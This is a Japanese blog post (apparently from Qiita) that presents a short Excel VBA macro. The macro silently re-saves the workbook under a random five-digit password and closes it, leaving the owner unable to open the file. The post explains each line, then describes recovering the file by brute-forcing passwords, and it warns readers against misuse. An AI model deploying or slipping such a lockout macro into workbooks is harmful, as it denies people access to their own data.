LoginSignup
2
1

More than 1 year has passed since last update.

悪用厳禁 VBAでExcelファイルを使用できないようにする

Posted at

はじめに

VBAを使うとExcelにおいて複雑な処理が楽になるそうです。
しかしながらプログラムの中には悪意のあるものも存在します。この記事では実行するとファイルを開くことが困難になるVBAを紹介します。

注意:利用された場合に生じる損害については一切の責任を負いません。

VBAとは

Microsoft社のOfficeシリーズのソフトウェアの一部であるWordやExcel、Access、PowerPointなどで利用できる機能で、同社のプログラミング言語および実行環境であるVisual Basicの簡易版を用いてプログラムを作成することができる。これらのソフトウェアの動作の一部を変更したり、繰り返し行われる定型的な作業や複雑な処理を自動的に実行することができる。

VBA対応のアプリケーションには開発環境と実行環境の両方が組み込まれており、記述したプログラムは機械語への変換などの作業を行わなくてもその場で即座に実行することできる。作成したプログラムはファイルの一部としてデータと共に記録することができ、別のコンピュータでそのファイルを開けば同じように実行することができる。

引用:https://e-words.jp/w/VBA.html

何はともあれソースコード

VBA.xlsm
Sub dangerous()
 Application.DisplayAlerts = False

 Dim wb As Workbook:Set wb = ThisWorkbook
 Dim pass As String:pass = WorkSheetFunction.RandBetween(1,99999)

 wb.SaveAs wb.FullName,,pass
 wb.Close

End Sub

Excelにてこれを実行すると、ファイルを開くことが非常に困難になります。具体的には5桁のランダムなパスワードが勝手に追加されます

解説

Sub dangerous()からEnd Sub内がプログラムの中身になる。dangerousの部分は何でもよい。

 Application.DisplayAlerts = False

警告無視して終わらせる命令。Falseが無視を示す。

 Dim wb As Workbook:Set wb = ThisWorkbook

ThisWorkbookはこのworkbook本体を指している。

 Dim pass As String:pass = WorkSheetFunction.RandBetween(1,99999)

このworkbookにパスワードをかける。パスワードは1~99999の間でランダムで作成される。

 wb.SaveAs wb.FullName,,pass

Excel本体に対する命令。上書き保存を指している。

実行してみた

image.png
強制的にExcelが終了し、再起動すると上記のような画面になるはずです。パスワードはもちろん不明です。

解決方法

別のExcelを起動しパスワードがかかったファイルを選択。1~99999までのパスワードを入力し続けるプログラムを作成することで解決出来ます。下記に解決方法の動画のリンクがあります。

終わりに

VBAは正しく使うと非常に便利ですが、以上のように悪用されることも多々あります。
悪用はやめましょう!

参考資料:https://youtu.be/gk2hSZ1Eb6I

2
1
2

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1